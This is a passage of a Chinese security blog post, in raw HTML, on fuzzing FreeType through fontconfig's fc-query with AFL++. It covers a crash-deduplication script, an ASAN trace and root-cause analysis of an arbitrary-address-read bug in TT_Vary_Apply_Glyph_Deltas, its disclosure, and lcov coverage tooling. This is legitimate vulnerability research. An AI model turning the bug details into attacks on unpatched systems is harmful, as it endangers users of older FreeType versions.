Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">7.分</span></strong><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">析结果</span></strong></p><p cid="n54" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);">这里主要对Fuz</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);">zing过程中找到的crash进行分析。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);">经过了一段时间的运行，我们对找到的crash进行查看：发现由于使用了多个Fuzzing进程，每个进程都有着接近100多个crash。为了较快地对crash进行去重，这里笔者写了一个对crash去重的bash脚本，其主要逻辑是对特定目录的crash文件进行处理，分析ASAN输出的函数调用栈，通过调用栈的不同来筛掉相同的crash。</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);">脚本如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#!/bin/bash</span></span></code><code><span class="code-snippet_outer">output_dir=<span class="code-snippet__string">&#34;md5output&#34;</span></span></code><code><span class="code-snippet_outer">mkdir -p <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$output_dir</span>&#34;</span></span></code><code><span class="code-snippet_outer">md5_file=<span class="code-snippet__string">&#34;md5.txt&#34;</span></span></code><code><span class="code-snippet_outer">outfile=<span class="code-snippet__string">&#34;file.txt&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 清空 MD5 文件</span></span></code><code><span class="code-snippet_outer">&gt; <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$md5_file</span>&#34;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 遍历 file 目录下的所有文件</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">for</span> file <span class="code-snippet__keyword">in</span> crash/*; <span class="code-snippet__keyword">do</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># 执行 fc-query 命令并获取输出</span></span></code><code><span class="code-snippet_outer">  result=$(./<span class="code-snippet__built_in">fc</span>-query <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$file</span>&#34;</span> 2&gt;&amp;1)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># 提取 &#39;#&#39; 后的所有内容</span></span></code><code><span class="code-snippet_outer">  matches=$(<span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$result</span>&#34;</span> | grep -o <span class="code-snippet__string">&#39;#.*&#39;</span>)</span></code><code><span class="code-snippet_outer">  matches=$(<span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$matches</span>&#34;</span> | awk <span class="code-snippet__string">&#39;{print $4}&#39;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># 计算提取内容的 MD5 值</span></span></code><code><span class="code-snippet_outer">  md5=$(<span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$matches</span>&#34;</span> | md5sum | awk <span class="code-snippet__string">&#39;{ print $1 }&#39;</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment"># 判断 MD5 是否已存在</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> grep -Fxq <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$md5</span>&#34;</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$md5_file</span>&#34;</span>; <span class="code-snippet__keyword">then</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;File: <span class="code-snippet__variable">$file</span>, MD5: <span class="code-snippet__variable">$md5</span> (duplicate)&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;File: <span class="code-snippet__variable">$file</span>, MD5: <span class="code-snippet__variable">$md5</span> (new)&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$md5</span>&#34;</span> &gt;&gt; <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$md5_file</span>&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$file</span>&#34;</span> &gt;&gt; <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$outfile</span>&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment"># 将执行命令的输出保存到文件</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$result</span>&#34;</span> &gt; <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$output_dir</span>/<span class="code-snippet__variable">$md5</span>.txt&#34;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">fi</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">done</span></span></code></pre></section><p cid="n57" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">官方也提供了工具用来对crash进行分析，如使用afl++的</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">crash exploration</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">模式对崩溃进行探索，试图确认崩溃的最小样本以及崩溃样本对应用程序的控制范围（如是否能够越界读取、写入某些内存等）；还有</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">casr</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">工具用来对ASAN产生的崩溃报告进行分析</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">、分类……这里</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">不再详细介绍，感兴趣的同学可以去尝试。</span></p><p cid="n58" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"><span style="background-color: rgb(255, 255, 255);">为了更深入</span>地<span style="background-color: rgb(255, 255, 255);">分析漏洞，笔者推荐用gdb配合gef、peda等插件对程序进行动态调试分析，可以较为清晰</span>地<span style="background-color: rgb(255, 255, 255);">了解崩溃的原因。</span><span style="background-color: rgb(255, 255, 255);">本次Fuzzing找到的漏洞是一个任意地址读取漏洞，函数调用栈如下：</span></span></p><pre spellcheck="false" lang="" cid="n59" mdtype="fences" style="overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);letter-spacing: normal;"><span style="font-size: 14px;"><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">  #0 0x7fae84a16901 in memcpy string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:222</span><br/></span><p><span style="font-size: 14px;"><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">   #1 0x562e6cdef6f1 in __asan_memcpy </span></span></p><p><span style="font-size: 14px;"><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">(/home/admins/fuzzing_freetype/bin/fc-query+0xa16f1) (BuildId: f3d22b379d299b1edc47e8a2ecbf93b372f0ffd1)</span></span></p><span style="font-size: 14px;"><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #2 0x7fae84ec8882 in TT_Vary_Apply_Glyph_Deltas /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttgxvar.c:3865:9</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #3 0x7fae84ec1608 in load_truetype_glyph /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttgload.c:1759:17</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #4 0x7fae84e896ee in TT_Load_Glyph /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttgload.c:2910:13</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #5 0x7fae84e896ee in tt_glyph_load /home/admins/fuzzing_freetype/freetype-2.10.1/src/truetype/ttdriver.c:475:13</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #6 0x7fae84e26cb0 in FT_Load_Glyph /home/admins/fuzzing_freetype/freetype-2.10.1/src/base/ftobjs.c:949:15</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #7 0x7fae84e26546 in FT_Get_Advances /home/admins/fuzzing_freetype/freetype-2.10.1/src/base/ftadvanc.c:161:15</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #8 0x7fae85137dd1 in FcFreeTypeSpacing /home/admins/fuzzing_freetype/fontconfig-2.13.1/src/fcfreetype.c:2392:11</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #9 0x7fae85134f1e in FcFreeTypeQueryFaceInternal /home/admins/fuzzing_freetype/fontconfig-2.13.1/src/fcfreetype.c:2004:15</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #10 0x7fae8513661a in FcFreeTypeQueryAll /home/admins/fuzzing_freetype/fontconfig-2.13.1/src/fcfreetype.c:2223:8</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #11 0x562e6ce2b3a5 in main /home/admins/fuzzing_freetype/fontconfig-2.13.1/fc-query/fc-query.c:158:7</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #12 0x7fae8497bd8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #13 0x7fae8497be3f in __libc_start_main csu/../csu/libc-start.c:392:3</span><br/><span role="presentation" style="font-size: 14px;padding-right: 0.1px;">    #14 0x562e6cd6d494 in _start (/home/admins/fuzzing_freetype/bin/fc-query+0x1f494) (BuildId: f3d22b379d299b1edc47e8a2ecbf93b372f0ffd1)</span></span></pre><p cid="n60" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">原因是在</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">ttgxvar.c</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">中的 </span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">TT_Vary_Apply_Glyph_Deltas</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">函数并没有对blend-&gt;tuplecoords变量的有效性进行判断，如果blend-&gt;tuplecoords为空，那么memcpy函数的第二个参数即目标地址可以被tupleIndex、blend-&gt;num_axis这两个变量控制，而这两个变量的值则是从字体文件中读取的，因此这是一个任意地址读的漏洞。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-cropselx1="0" data-cropselx2="578" data-cropsely1="0" data-cropsely2="305" data-ratio="0.32475247524752476" data-s="300,640" style="width: 578px;height: 188px;" data-type="png" data-w="1010" src="https://wechat2rss.xlab.app/img-proxy/?k=0e7bf6ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOGkVwrH7PMXxnnia5avodEEljsAFwD7pbbd33ZZZzqDaIW3tyGNkILDg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n62" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在2.10.2版本中，该漏洞已经被修复，但由于银河麒麟、ubuntu 20.04等系统依旧使用的是旧版本的freetype库，因此在该系统中还是会触发崩溃。目前我们已经向官方提交了漏洞报告，官方确认将在下个版本中修复，该漏洞目前仅能导致应用崩溃且无法造成更完整的利用，对系统造成的危害并不大。</span></p><p cid="n65" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">8.优化</span></strong><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;"></span></p><p cid="n66" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在整个Fuzzing过程运行了两天后，我们发现fuzzer寻找新路径的效率明显降低。这里可以用afl-plot这个工具来查看Fuzzing的效果：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7485380116959064" data-s="300,640" style="" data-type="png" data-w="1026" src="https://wechat2rss.xlab.app/img-proxy/?k=f04a54be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSO9VZDRnfbtbmP6GZSFbVskkPIobD0ZMjARLoEpnj8BRMl4EwRqMQ3oQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n68" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">可以看到，经过一段时间的Fuzzing，fuzzer寻找新edge的覆盖率的速度已经明显变慢，此时就需要对目标应用进行更细致的分析，来提高发现新的edge的成功率。</span></p><p cid="n69" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">这里笔者从整个应用的代码覆盖率范围入手，查看具体哪部分代码没有被测试到。目前有一些工具如afl-lcov等，可以支持在afl运行时实时输出特定样本的覆盖代码函数以及行数，但是不便于查看当前所有的样本产生的覆盖率。由于afl-lcov本质上是调用了lcov这个工具来生成代码覆盖图，因此笔者直接选择用lcov工具生成所有样本的代码覆盖图。</span></p><p cid="n70" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">首先使用gcc配合特定的编译参数</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">-fprofile-arcs -ftest-coverage</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">来生成目标程序，这样每次运行目标程序后就会生成对应的覆盖率统计数据。同时笔者编写了一个脚本用来快速生成包含覆盖率反馈信息的网页：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">lcov</span> -d ./ -z</span></code><code><span class="code-snippet_outer">lcov -c -i -d ./ -o init.<span class="code-snippet__literal">info</span></span></code><code><span class="code-snippet_outer">directory=<span class="code-snippet__string">&#34;/home/admins/fuzzing_freetype/freetype-2.10.1/out2/*/queue&#34;</span></span></code><code><span class="code-snippet_outer">for file in <span class="code-snippet__variable">$directory</span>; <span class="code-snippet__attribute">do</span></span></code><code><span class="code-snippet_outer">  for file2 in <span class="code-snippet__variable">$file</span>/*;<span class="code-snippet__attribute">do</span></span></code><code><span class="code-snippet_outer">    ./fc-query_cov <span class="code-snippet__string">&#34;<span class="code-snippet__variable">$file2</span>&#34;</span></span></code><code><span class="code-snippet_outer">  done</span></code><code><span class="code-snippet_outer">done</span></code><code><span class="code-snippet_outer">lcov -c -d ./ -o cover.<span class="code-snippet__literal">info</span></span></code><code><span class="code-snippet_outer">lcov -a init.<span class="code-snippet__literal">info</span> -a cover.<span class="code-snippet__literal">info</span> -o total.<span class="code-snippet__literal">info</span></span></code><code><span class="code-snippet_outer">lcov --remove total.<span class="code-snippet__literal">info</span> <span class="code-snippet__string">&#39;*conftest*&#39;</span> -o final.<span class="code-snippet__literal">info</span></span></code><code><span class="code-snippet_outer">genhtml -o cover_report1 --legend --title <span class="code-snippet__string">&#34;lcov2&#34;</span>  --prefix=./ final.<span class="code-snippet__literal">info</span></span></code></pre></section><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">这个脚本能够遍历特定目录下的所有文件并通过编译好的程序执行，随后将生成的覆盖率数据利用genhtml生成对应的可视化网页，如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="163" data-backw="578" data-ratio="0.2824074074074074" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da520217&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplQEZUicp1ULySWP2ayK5aJ8nBrSxs2lHUmctE7XpTo9xsbcryiaZ6QupmpOKIicIl7Rkg4CjlPSRsyeQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n74" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">可以看出，整个Fuzzing过程的覆盖率低于30%。接下来就需要深入分析下目标函数代码，了解覆盖率低的成因。经过深入分析，笔者发现覆盖率较低的原因有两个：</span></p><p cid="n77" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 